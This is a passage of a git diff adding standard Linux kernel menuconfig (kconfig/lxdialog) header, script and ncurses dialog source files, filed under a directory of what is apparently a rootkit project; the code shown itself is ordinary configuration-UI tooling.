TF_OPTION 0x0004 + +enum conf_def_mode { + def_default, + def_yes, + def_mod, + def_no, + def_random +}; + +#define T_OPT_MODULES 1 +#define T_OPT_DEFCONFIG_LIST 2 +#define T_OPT_ENV 3 + +struct kconf_id { + int name; + int token; + unsigned int flags; + enum symbol_type stype; +}; + +extern int zconfdebug; + +int zconfparse(void); +void zconfdump(FILE *out); +void zconf_starthelp(void); +FILE *zconf_fopen(const char *name); +void zconf_initscan(const char *name); +void zconf_nextfile(const char *name); +int zconf_lineno(void); +const char *zconf_curname(void); + +/* confdata.c */ +const char *conf_get_configname(void); +const char *conf_get_autoconfig_name(void); +char *conf_get_default_confname(void); +void sym_set_change_count(int count); +void sym_add_change_count(int count); +bool conf_set_all_new_symbols(enum conf_def_mode mode); +void set_all_choice_values(struct symbol *csym); + +struct conf_printer { + void (*print_symbol)(FILE *, struct symbol *, const char *, void *); + void (*print_comment)(FILE *, const char *, void *); +}; + +/* confdata.c and expr.c */ +static inline void xfwrite(const void *str, size_t len, size_t count, FILE *out) +{ + assert(len != 0); + + if (fwrite(str, len, count, out) != count) + fprintf(stderr, "Error in writing or end of file.\n"); +} + +/* menu.c */ +void _menu_init(void); +void menu_warn(struct menu *menu, const char *fmt, ...); +struct menu *menu_add_menu(void); +void menu_end_menu(void); +void menu_add_entry(struct symbol *sym); +void menu_end_entry(void); +void menu_add_dep(struct expr *dep); +void menu_add_visibility(struct expr *dep); +struct property *menu_add_prop(enum prop_type type, char *prompt, struct expr *expr, struct expr *dep); +struct property *menu_add_prompt(enum prop_type type, char *prompt, struct expr *dep); +void menu_add_expr(enum prop_type type, struct expr *expr, struct expr *dep); +void menu_add_symbol(enum prop_type type, struct symbol *sym, struct expr *dep); +void menu_add_option(int token, char *arg); +void menu_finalize(struct menu *parent); +void menu_set_type(int type); + +/* util.c */ +struct file *file_lookup(const char *name); +int file_write_dep(const char *name); +void *xmalloc(size_t size); +void *xcalloc(size_t nmemb, size_t size); + +struct gstr { + size_t len; + char *s; + /* + * when max_width is not zero long lines in string s (if any) get + * wrapped not to exceed the max_width value + */ + int max_width; +}; +struct gstr str_new(void); +struct gstr str_assign(const char *s); +void str_free(struct gstr *gs); +void str_append(struct gstr *gs, const char *s); +void str_printf(struct gstr *gs, const char *fmt, ...); +const char *str_get(struct gstr *gs); + +/* symbol.c */ +extern struct expr *sym_env_list; + +void sym_init(void); +void sym_clear_all_valid(void); +void sym_set_all_changed(void); +void sym_set_changed(struct symbol *sym); +struct symbol *sym_choice_default(struct symbol *sym); +const char *sym_get_string_default(struct symbol *sym); +struct symbol *sym_check_deps(struct symbol *sym); +struct property *prop_alloc(enum prop_type type, struct symbol *sym); +struct symbol *prop_get_symbol(struct property *prop); +struct property *sym_get_env_prop(struct symbol *sym); + +static inline tristate sym_get_tristate_value(struct symbol *sym) +{ + return sym->curr.tri; +} + + +static inline struct symbol *sym_get_choice_value(struct symbol *sym) +{ + return (struct symbol *)sym->curr.val; +} + +static inline bool sym_set_choice_value(struct symbol *ch, struct symbol *chval) +{ + return sym_set_tristate_value(chval, yes); +} + +static inline bool sym_is_choice(struct symbol *sym) +{ + return sym->flags & SYMBOL_CHOICE ? true : false; +} + +static inline bool sym_is_choice_value(struct symbol *sym) +{ + return sym->flags & SYMBOL_CHOICEVAL ? true : false; +} + +static inline bool sym_is_optional(struct symbol *sym) +{ + return sym->flags & SYMBOL_OPTIONAL ? true : false; +} + +static inline bool sym_has_value(struct symbol *sym) +{ + return sym->flags & SYMBOL_DEF_USER ? true : false; +} + +#ifdef __cplusplus +} +#endif + +#endif /* LKC_H */ diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lkc_proto.h b/Linux/Rootkits/Reptile/scripts/kconfig/lkc_proto.h new file mode 100644 index 0000000..ecdb965 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lkc_proto.h @@ -0,0 +1,57 @@ +#include + +/* confdata.c */ +P(conf_parse,void,(const char *name)); +P(conf_read,int,(const char *name)); +P(conf_read_simple,int,(const char *name, int)); +P(conf_write_defconfig,int,(const char *name)); +P(conf_write,int,(const char *name)); +P(conf_write_autoconf,int,(void)); +P(conf_get_changed,bool,(void)); +P(conf_set_changed_callback, void,(void (*fn)(void))); +P(conf_set_message_callback, void,(void (*fn)(const char *fmt, va_list ap))); + +/* menu.c */ +P(rootmenu,struct menu,); + +P(menu_is_empty, bool, (struct menu *menu)); +P(menu_is_visible, bool, (struct menu *menu)); +P(menu_has_prompt, bool, (struct menu *menu)); +P(menu_get_prompt,const char *,(struct menu *menu)); +P(menu_get_root_menu,struct menu *,(struct menu *menu)); +P(menu_get_parent_menu,struct menu *,(struct menu *menu)); +P(menu_has_help,bool,(struct menu *menu)); +P(menu_get_help,const char *,(struct menu *menu)); +P(get_symbol_str, void, (struct gstr *r, struct symbol *sym, struct list_head + *head)); +P(get_relations_str, struct gstr, (struct symbol **sym_arr, struct list_head + *head)); +P(menu_get_ext_help,void,(struct menu *menu, struct gstr *help)); + +/* symbol.c */ +P(symbol_hash,struct symbol *,[SYMBOL_HASHSIZE]); + +P(sym_lookup,struct symbol *,(const char *name, int flags)); +P(sym_find,struct symbol *,(const char *name)); +P(sym_expand_string_value,const char *,(const char *in)); +P(sym_escape_string_value, const char *,(const char *in)); +P(sym_re_search,struct symbol **,(const char *pattern)); +P(sym_type_name,const char *,(enum symbol_type type)); +P(sym_calc_value,void,(struct symbol *sym)); +P(sym_get_type,enum symbol_type,(struct symbol *sym)); +P(sym_tristate_within_range,bool,(struct symbol *sym,tristate tri)); +P(sym_set_tristate_value,bool,(struct symbol *sym,tristate tri)); +P(sym_toggle_tristate_value,tristate,(struct symbol *sym)); +P(sym_string_valid,bool,(struct symbol *sym, const char *newval)); +P(sym_string_within_range,bool,(struct symbol *sym, const char *str)); +P(sym_set_string_value,bool,(struct symbol *sym, const char *newval)); +P(sym_is_changable,bool,(struct symbol *sym)); +P(sym_get_choice_prop,struct property *,(struct symbol *sym)); +P(sym_get_default_prop,struct property *,(struct symbol *sym)); +P(sym_get_string_value,const char *,(struct symbol *sym)); + +P(prop_get_type_name,const char *,(enum prop_type type)); + +/* expr.c */ +P(expr_compare_type,int,(enum expr_type t1, enum expr_type t2)); +P(expr_print,void,(struct expr *e, void (*fn)(void *, struct symbol *, const char *), void *data, int prevtoken)); diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/.gitignore b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/.gitignore new file mode 100644 index 0000000..90b08ff --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/.gitignore @@ -0,0 +1,4 @@ +# +# Generated files +# +lxdialog diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/BIG.FAT.WARNING b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/BIG.FAT.WARNING new file mode 100644 index 0000000..a8999d8 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/BIG.FAT.WARNING @@ -0,0 +1,4 @@ +This is NOT the official version of dialog. This version has been +significantly modified from the original. It is for use by the Linux +kernel configuration script. Please do not bother Savio Lam with +questions about this program. diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/check-lxdialog.sh b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/check-lxdialog.sh new file mode 100644 index 0000000..4789b72 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/check-lxdialog.sh @@ -0,0 +1,87 @@ +#!/bin/sh +# Check ncurses compatibility + +# What library to link +ldflags() +{ + pkg-config --libs ncursesw 2>/dev/null && exit + pkg-config --libs ncurses 2>/dev/null && exit + for ext in so a dll.a dylib ; do + for lib in ncursesw ncurses curses ; do + $cc -print-file-name=lib${lib}.${ext} | grep -q / + if [ $? -eq 0 ]; then + echo "-l${lib}" + exit + fi + done + done + exit 1 +} + +# Where is ncurses.h? +ccflags() +{ + if [ -f /usr/include/ncursesw/curses.h ]; then + echo '-I/usr/include/ncursesw -DCURSES_LOC=""' + echo ' -DNCURSES_WIDECHAR=1' + elif [ -f /usr/include/ncurses/ncurses.h ]; then + echo '-I/usr/include/ncurses -DCURSES_LOC=""' + elif [ -f /usr/include/ncurses/curses.h ]; then + echo '-I/usr/include/ncurses -DCURSES_LOC=""' + elif [ -f /usr/include/ncurses.h ]; then + echo '-DCURSES_LOC=""' + else + echo '-DCURSES_LOC=""' + fi +} + +# Temp file, try to clean up after us +tmp=$(mktemp) +trap "rm -f $tmp" 0 1 2 3 15 + +# Check if we can link to ncurses +check() { + $cc -x c - -o $tmp 2>/dev/null <<'EOF' +#include CURSES_LOC +main() {} +EOF + if [ $? != 0 ]; then + echo " *** Unable to find the ncurses libraries or the" 1>&2 + echo " *** required header files." 1>&2 + echo " *** 'make menuconfig' requires the ncurses libraries." 1>&2 + echo " *** " 1>&2 + echo " *** Install ncurses (ncurses-devel) and try again." 1>&2 + echo " *** " 1>&2 + exit 1 + fi +} + +usage() { + printf "Usage: $0 [-check compiler options|-ccflags|-ldflags compiler options]\n" +} + +if [ $# -eq 0 ]; then + usage + exit 1 +fi + +cc="" +case "$1" in + "-check") + shift + cc="$@" + check + ;; + "-ccflags") + ccflags + ;; + "-ldflags") + shift + cc="$@" + ldflags + ;; + "*") + usage + exit 1 + ;; +esac diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/checklist.c b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/checklist.c new file mode 100644 index 0000000..3b15c08 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/checklist.c @@ -0,0 +1,332 @@ +/* + * checklist.c -- implements the checklist box + * + * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * Stuart Herbert - S.Herbert@sheffield.ac.uk: radiolist extension + * Alessandro Rubini - rubini@ipvvis.unipv.it: merged the two + * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include "dialog.h" + +static int list_width, check_x, item_x; + +/* + * Print list item + */ +static void print_item(WINDOW * win, int choice, int selected) +{ + int i; + char *list_item = malloc(list_width + 1); + + strncpy(list_item, item_str(), list_width - item_x); + list_item[list_width - item_x] = '\0'; + + /* Clear 'residue' of last item */ + wattrset(win, dlg.menubox.atr); + wmove(win, choice, 0); + for (i = 0; i < list_width; i++) + waddch(win, ' '); + + wmove(win, choice, check_x); + wattrset(win, selected ? dlg.check_selected.atr + : dlg.check.atr); + if (!item_is_tag(':')) + wprintw(win, "(%c)", item_is_tag('X') ? 'X' : ' '); + + wattrset(win, selected ? dlg.tag_selected.atr : dlg.tag.atr); + mvwaddch(win, choice, item_x, list_item[0]); + wattrset(win, selected ? dlg.item_selected.atr : dlg.item.atr); + waddstr(win, list_item + 1); + if (selected) { + wmove(win, choice, check_x + 1); + wrefresh(win); + } + free(list_item); +} + +/* + * Print the scroll indicators. + */ +static void print_arrows(WINDOW * win, int choice, int item_no, int scroll, + int y, int x, int height) +{ + wmove(win, y, x); + + if (scroll > 0) { + wattrset(win, dlg.uarrow.atr); + waddch(win, ACS_UARROW); + waddstr(win, "(-)"); + } else { + wattrset(win, dlg.menubox.atr); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + } + + y = y + height + 1; + wmove(win, y, x); + + if ((height < item_no) && (scroll + choice < item_no - 1)) { + wattrset(win, dlg.darrow.atr); + waddch(win, ACS_DARROW); + waddstr(win, "(+)"); + } else { + wattrset(win, dlg.menubox_border.atr); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + } +} + +/* + * Display the termination buttons + */ +static void print_buttons(WINDOW * dialog, int height, int width, int selected) +{ + int x = width / 2 - 11; + int y = height - 2; + + print_button(dialog, gettext("Select"), y, x, selected == 0); + print_button(dialog, gettext(" Help "), y, x + 14, selected == 1); + + wmove(dialog, y, x + 1 + 14 * selected); + wrefresh(dialog); +} + +/* + * Display a dialog box with a list of options that can be turned on or off + * in the style of radiolist (only one option turned on at a time). + */ +int dialog_checklist(const char *title, const char *prompt, int height, + int width, int list_height) +{ + int i, x, y, box_x, box_y; + int key = 0, button = 0, choice = 0, scroll = 0, max_choice; + WINDOW *dialog, *list; + + /* which item to highlight */ + item_foreach() { + if (item_is_tag('X')) + choice = item_n(); + if (item_is_selected()) { + choice = item_n(); + break; + } + } + +do_resize: + if (getmaxy(stdscr) < (height + CHECKLIST_HEIGTH_MIN)) + return -ERRDISPLAYTOOSMALL; + if (getmaxx(stdscr) < (width + CHECKLIST_WIDTH_MIN)) + return -ERRDISPLAYTOOSMALL; + + max_choice = MIN(list_height, item_count()); + + /* center dialog box on screen */ + x = (getmaxx(stdscr) - width) / 2; + y = (getmaxy(stdscr) - height) / 2; + + draw_shadow(stdscr, y, x, height, width); + + dialog = newwin(height, width, y, x); + keypad(dialog, TRUE); + + draw_box(dialog, 0, 0, height, width, + dlg.dialog.atr, dlg.border.atr); + wattrset(dialog, dlg.border.atr); + mvwaddch(dialog, height - 3, 0, ACS_LTEE); + for (i = 0; i < width - 2; i++) + waddch(dialog, ACS_HLINE); + wattrset(dialog, dlg.dialog.atr); + waddch(dialog, ACS_RTEE); + + print_title(dialog, title, width); + + wattrset(dialog, dlg.dialog.atr); + print_autowrap(dialog, prompt, width - 2, 1, 3); + + list_width = width - 6; + box_y = height - list_height - 5; + box_x = (width - list_width) / 2 - 1; + + /* create new window for the list */ + list = subwin(dialog, list_height, list_width, y + box_y + 1, + x + box_x + 1); + + keypad(list, TRUE); + + /* draw a box around the list items */ + draw_box(dialog, box_y, box_x, list_height + 2, list_width + 2, + dlg.menubox_border.atr, dlg.menubox.atr); + + /* Find length of longest item in order to center checklist */ + check_x = 0; + item_foreach() + check_x = MAX(check_x, strlen(item_str()) + 4); + check_x = MIN(check_x, list_width); + + check_x = (list_width - check_x) / 2; + item_x = check_x + 4; + + if (choice >= list_height) { + scroll = choice - list_height + 1; + choice -= scroll; + } + + /* Print the list */ + for (i = 0; i < max_choice; i++) { + item_set(scroll + i); + print_item(list, i, i == choice); + } + + print_arrows(dialog, choice, item_count(), scroll, + box_y, box_x + check_x + 5, list_height); + + print_buttons(dialog, height, width, 0); + + wnoutrefresh(dialog); + wnoutrefresh(list); + doupdate(); + + while (key != KEY_ESC) { + key = wgetch(dialog); + + for (i = 0; i < max_choice; i++) { + item_set(i + scroll); + if (toupper(key) == toupper(item_str()[0])) + break; + } + + if (i < max_choice || key == KEY_UP || key == KEY_DOWN || + key == '+' || key == '-') { + if (key == KEY_UP || key == '-') { + if (!choice) { + if (!scroll) + continue; + /* Scroll list down */ + if (list_height > 1) { + /* De-highlight current first item */ + item_set(scroll); + print_item(list, 0, FALSE); + scrollok(list, TRUE); + wscrl(list, -1); + scrollok(list, FALSE); + } + scroll--; + item_set(scroll); + print_item(list, 0, TRUE); + print_arrows(dialog, choice, item_count(), + scroll, box_y, box_x + check_x + 5, list_height); + + wnoutrefresh(dialog); + wrefresh(list); + + continue; /* wait for another key press */ + } else + i = choice - 1; + } else if (key == KEY_DOWN || key == '+') { + if (choice == max_choice - 1) { + if (scroll + choice >= item_count() - 1) + continue; + /* Scroll list up */ + if (list_height > 1) { + /* De-highlight current last item before scrolling up */ + item_set(scroll + max_choice - 1); + print_item(list, + max_choice - 1, + FALSE); + scrollok(list, TRUE); + wscrl(list, 1); + scrollok(list, FALSE); + } + scroll++; + item_set(scroll + max_choice - 1); + print_item(list, max_choice - 1, TRUE); + + print_arrows(dialog, choice, item_count(), + scroll, box_y, box_x + check_x + 5, list_height); + + wnoutrefresh(dialog); + wrefresh(list); + + continue; /* wait for another key press */ + } else + i = choice + 1; + } + if (i != choice) { + /* De-highlight current item */ + item_set(scroll + choice); + print_item(list, choice, FALSE); + /* Highlight new item */ + choice = i; + item_set(scroll + choice); + print_item(list, choice, TRUE); + wnoutrefresh(dialog); + wrefresh(list); + } + continue; /* wait for another key press */ + } + switch (key) { + case 'H': + case 'h': + case '?': + button = 1; + /* fall-through */ + case 'S': + case 's': + case ' ': + case '\n': + item_foreach() + item_set_selected(0); + item_set(scroll + choice); + item_set_selected(1); + delwin(list); + delwin(dialog); + return button; + case TAB: + case KEY_LEFT: + case KEY_RIGHT: + button = ((key == KEY_LEFT ? --button : ++button) < 0) + ? 1 : (button > 1 ? 0 : button); + + print_buttons(dialog, height, width, button); + wrefresh(dialog); + break; + case 'X': + case 'x': + key = KEY_ESC; + break; + case KEY_ESC: + key = on_key_esc(dialog); + break; + case KEY_RESIZE: + delwin(list); + delwin(dialog); + on_key_resize(); + goto do_resize; + } + + /* Now, update everything... */ + doupdate(); + } + delwin(list); + delwin(dialog); + return key; /* ESC pressed */ +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/dialog.h b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/dialog.h new file mode 100644 index 0000000..b4343d3 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/dialog.h @@ -0,0 +1,257 @@ +/* + * dialog.h -- common declarations for all dialog modules + * + * AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include +#include +#include +#include +#include +#include +#include + +#ifndef KBUILD_NO_NLS +# include +#else +# define gettext(Msgid) ((const char *) (Msgid)) +#endif + +#ifdef __sun__ +#define CURS_MACROS +#endif +#include CURSES_LOC + +/* + * Colors in ncurses 1.9.9e do not work properly since foreground and + * background colors are OR'd rather than separately masked. This version + * of dialog was hacked to work with ncurses 1.9.9e, making it incompatible + * with standard curses. The simplest fix (to make this work with standard + * curses) uses the wbkgdset() function, not used in the original hack. + * Turn it off if we're building with 1.9.9e, since it just confuses things. + */ +#if defined(NCURSES_VERSION) && defined(_NEED_WRAP) && !defined(GCC_PRINTFLIKE) +#define OLD_NCURSES 1 +#undef wbkgdset +#define wbkgdset(w,p) /*nothing */ +#else +#define OLD_NCURSES 0 +#endif + +#define TR(params) _tracef params + +#define KEY_ESC 27 +#define TAB 9 +#define MAX_LEN 2048 +#define BUF_SIZE (10*1024) +#define MIN(x,y) (x < y ? x : y) +#define MAX(x,y) (x > y ? x : y) + +#ifndef ACS_ULCORNER +#define ACS_ULCORNER '+' +#endif +#ifndef ACS_LLCORNER +#define ACS_LLCORNER '+' +#endif +#ifndef ACS_URCORNER +#define ACS_URCORNER '+' +#endif +#ifndef ACS_LRCORNER +#define ACS_LRCORNER '+' +#endif +#ifndef ACS_HLINE +#define ACS_HLINE '-' +#endif +#ifndef ACS_VLINE +#define ACS_VLINE '|' +#endif +#ifndef ACS_LTEE +#define ACS_LTEE '+' +#endif +#ifndef ACS_RTEE +#define ACS_RTEE '+' +#endif +#ifndef ACS_UARROW +#define ACS_UARROW '^' +#endif +#ifndef ACS_DARROW +#define ACS_DARROW 'v' +#endif + +/* error return codes */ +#define ERRDISPLAYTOOSMALL (KEY_MAX + 1) + +/* + * Color definitions + */ +struct dialog_color { + chtype atr; /* Color attribute */ + int fg; /* foreground */ + int bg; /* background */ + int hl; /* highlight this item */ +}; + +struct subtitle_list { + struct subtitle_list *next; + const char *text; +}; + +struct dialog_info { + const char *backtitle; + struct subtitle_list *subtitles; + struct dialog_color screen; + struct dialog_color shadow; + struct dialog_color dialog; + struct dialog_color title; + struct dialog_color border; + struct dialog_color button_active; + struct dialog_color button_inactive; + struct dialog_color button_key_active; + struct dialog_color button_key_inactive; + struct dialog_color button_label_active; + struct dialog_color button_label_inactive; + struct dialog_color inputbox; + struct dialog_color inputbox_border; + struct dialog_color searchbox; + struct dialog_color searchbox_title; + struct dialog_color searchbox_border; + struct dialog_color position_indicator; + struct dialog_color menubox; + struct dialog_color menubox_border; + struct dialog_color item; + struct dialog_color item_selected; + struct dialog_color tag; + struct dialog_color tag_selected; + struct dialog_color tag_key; + struct dialog_color tag_key_selected; + struct dialog_color check; + struct dialog_color check_selected; + struct dialog_color uarrow; + struct dialog_color darrow; +}; + +/* + * Global variables + */ +extern struct dialog_info dlg; +extern char dialog_input_result[]; +extern int saved_x, saved_y; /* Needed in signal handler in mconf.c */ + +/* + * Function prototypes + */ + +/* item list as used by checklist and menubox */ +void item_reset(void); +void item_make(const char *fmt, ...); +void item_add_str(const char *fmt, ...); +void item_set_tag(char tag); +void item_set_data(void *p); +void item_set_selected(int val); +int item_activate_selected(void); +void *item_data(void); +char item_tag(void); + +/* item list manipulation for lxdialog use */ +#define MAXITEMSTR 200 +struct dialog_item { + char str[MAXITEMSTR]; /* promtp displayed */ + char tag; + void *data; /* pointer to menu item - used by menubox+checklist */ + int selected; /* Set to 1 by dialog_*() function if selected. */ +}; + +/* list of lialog_items */ +struct dialog_list { + struct dialog_item node; + struct dialog_list *next; +}; + +extern struct dialog_list *item_cur; +extern struct dialog_list item_nil; +extern struct dialog_list *item_head; + +int item_count(void); +void item_set(int n); +int item_n(void); +const char *item_str(void); +int item_is_selected(void); +int item_is_tag(char tag); +#define item_foreach() \ + for (item_cur = item_head ? item_head: item_cur; \ + item_cur && (item_cur != &item_nil); item_cur = item_cur->next) + +/* generic key handlers */ +int on_key_esc(WINDOW *win); +int on_key_resize(void); + +/* minimum (re)size values */ +#define CHECKLIST_HEIGTH_MIN 6 /* For dialog_checklist() */ +#define CHECKLIST_WIDTH_MIN 6 +#define INPUTBOX_HEIGTH_MIN 2 /* For dialog_inputbox() */ +#define INPUTBOX_WIDTH_MIN 2 +#define MENUBOX_HEIGTH_MIN 15 /* For dialog_menu() */ +#define MENUBOX_WIDTH_MIN 65 +#define TEXTBOX_HEIGTH_MIN 8 /* For dialog_textbox() */ +#define TEXTBOX_WIDTH_MIN 8 +#define YESNO_HEIGTH_MIN 4 /* For dialog_yesno() */ +#define YESNO_WIDTH_MIN 4 +#define WINDOW_HEIGTH_MIN 19 /* For init_dialog() */ +#define WINDOW_WIDTH_MIN 80 + +int init_dialog(const char *backtitle); +void set_dialog_backtitle(const char *backtitle); +void set_dialog_subtitles(struct subtitle_list *subtitles); +void end_dialog(int x, int y); +void attr_clear(WINDOW * win, int height, int width, chtype attr); +void dialog_clear(void); +void print_autowrap(WINDOW * win, const char *prompt, int width, int y, int x); +void print_button(WINDOW * win, const char *label, int y, int x, int selected); +void print_title(WINDOW *dialog, const char *title, int width); +void draw_box(WINDOW * win, int y, int x, int height, int width, chtype box, + chtype border); +void draw_shadow(WINDOW * win, int y, int x, int height, int width); + +int first_alpha(const char *string, const char *exempt); +int dialog_yesno(const char *title, const char *prompt, int height, int width); +int dialog_msgbox(const char *title, const char *prompt, int height, + int width, int pause); + + +typedef void (*update_text_fn)(char *buf, size_t start, size_t end, void + *_data); +int dialog_textbox(const char *title, char *tbuf, int initial_height, + int initial_width, int *keys, int *_vscroll, int *_hscroll, + update_text_fn update_text, void *data); +int dialog_menu(const char *title, const char *prompt, + const void *selected, int *s_scroll); +int dialog_checklist(const char *title, const char *prompt, int height, + int width, int list_height); +int dialog_inputbox(const char *title, const char *prompt, int height, + int width, const char *init); + +/* + * This is the base for fictitious keys, which activate + * the buttons. + * + * Mouse-generated keys are the following: + * -- the first 32 are used as numbers, in addition to '0'-'9' + * -- the lowercase are used to signal mouse-enter events (M_EVENT + 'o') + * -- uppercase chars are used to invoke the button (M_EVENT + 'O') + */ +#define M_EVENT (KEY_MAX+1) diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/inputbox.c b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/inputbox.c new file mode 100644 index 0000000..447a582 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/inputbox.c @@ -0,0 +1,301 @@ +/* + * inputbox.c -- implements the input box + * + * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include "dialog.h" + +char dialog_input_result[MAX_LEN + 1]; + +/* + * Print the termination buttons + */ +static void print_buttons(WINDOW * dialog, int height, int width, int selected) +{ + int x = width / 2 - 11; + int y = height - 2; + + print_button(dialog, gettext(" Ok "), y, x, selected == 0); + print_button(dialog, gettext(" Help "), y, x + 14, selected == 1); + + wmove(dialog, y, x + 1 + 14 * selected); + wrefresh(dialog); +} + +/* + * Display a dialog box for inputing a string + */ +int dialog_inputbox(const char *title, const char *prompt, int height, int width, + const char *init) +{ + int i, x, y, box_y, box_x, box_width; + int input_x = 0, key = 0, button = -1; + int show_x, len, pos; + char *instr = dialog_input_result; + WINDOW *dialog; + + if (!init) + instr[0] = '\0'; + else + strcpy(instr, init); + +do_resize: + if (getmaxy(stdscr) <= (height - INPUTBOX_HEIGTH_MIN)) + return -ERRDISPLAYTOOSMALL; + if (getmaxx(stdscr) <= (width - INPUTBOX_WIDTH_MIN)) + return -ERRDISPLAYTOOSMALL; + + /* center dialog box on screen */ + x = (getmaxx(stdscr) - width) / 2; + y = (getmaxy(stdscr) - height) / 2; + + draw_shadow(stdscr, y, x, height, width); + + dialog = newwin(height, width, y, x); + keypad(dialog, TRUE); + + draw_box(dialog, 0, 0, height, width, + dlg.dialog.atr, dlg.border.atr); + wattrset(dialog, dlg.border.atr); + mvwaddch(dialog, height - 3, 0, ACS_LTEE); + for (i = 0; i < width - 2; i++) + waddch(dialog, ACS_HLINE); + wattrset(dialog, dlg.dialog.atr); + waddch(dialog, ACS_RTEE); + + print_title(dialog, title, width); + + wattrset(dialog, dlg.dialog.atr); + print_autowrap(dialog, prompt, width - 2, 1, 3); + + /* Draw the input field box */ + box_width = width - 6; + getyx(dialog, y, x); + box_y = y + 2; + box_x = (width - box_width) / 2; + draw_box(dialog, y + 1, box_x - 1, 3, box_width + 2, + dlg.dialog.atr, dlg.border.atr); + + print_buttons(dialog, height, width, 0); + + /* Set up the initial value */ + wmove(dialog, box_y, box_x); + wattrset(dialog, dlg.inputbox.atr); + + len = strlen(instr); + pos = len; + + if (len >= box_width) { + show_x = len - box_width + 1; + input_x = box_width - 1; + for (i = 0; i < box_width - 1; i++) + waddch(dialog, instr[show_x + i]); + } else { + show_x = 0; + input_x = len; + waddstr(dialog, instr); + } + + wmove(dialog, box_y, box_x + input_x); + + wrefresh(dialog); + + while (key != KEY_ESC) { + key = wgetch(dialog); + + if (button == -1) { /* Input box selected */ + switch (key) { + case TAB: + case KEY_UP: + case KEY_DOWN: + break; + case KEY_BACKSPACE: + case 127: + if (pos) { + wattrset(dialog, dlg.inputbox.atr); + if (input_x == 0) { + show_x--; + } else + input_x--; + + if (pos < len) { + for (i = pos - 1; i < len; i++) { + instr[i] = instr[i+1]; + } + } + + pos--; + len--; + instr[len] = '\0'; + wmove(dialog, box_y, box_x); + for (i = 0; i < box_width; i++) { + if (!instr[show_x + i]) { + waddch(dialog, ' '); + break; + } + waddch(dialog, instr[show_x + i]); + } + wmove(dialog, box_y, input_x + box_x); + wrefresh(dialog); + } + continue; + case KEY_LEFT: + if (pos > 0) { + if (input_x > 0) { + wmove(dialog, box_y, --input_x + box_x); + } else if (input_x == 0) { + show_x--; + wmove(dialog, box_y, box_x); + for (i = 0; i < box_width; i++) { + if (!instr[show_x + i]) { + waddch(dialog, ' '); + break; + } + waddch(dialog, instr[show_x + i]); + } + wmove(dialog, box_y, box_x); + } + pos--; + } + continue; + case KEY_RIGHT: + if (pos < len) { + if (input_x < box_width - 1) { + wmove(dialog, box_y, ++input_x + box_x); + } else if (input_x == box_width - 1) { + show_x++; + wmove(dialog, box_y, box_x); + for (i = 0; i < box_width; i++) { + if (!instr[show_x + i]) { + waddch(dialog, ' '); + break; + } + waddch(dialog, instr[show_x + i]); + } + wmove(dialog, box_y, input_x + box_x); + } + pos++; + } + continue; + default: + if (key < 0x100 && isprint(key)) { + if (len < MAX_LEN) { + wattrset(dialog, dlg.inputbox.atr); + if (pos < len) { + for (i = len; i > pos; i--) + instr[i] = instr[i-1]; + instr[pos] = key; + } else { + instr[len] = key; + } + pos++; + len++; + instr[len] = '\0'; + + if (input_x == box_width - 1) { + show_x++; + } else { + input_x++; + } + + wmove(dialog, box_y, box_x); + for (i = 0; i < box_width; i++) { + if (!instr[show_x + i]) { + waddch(dialog, ' '); + 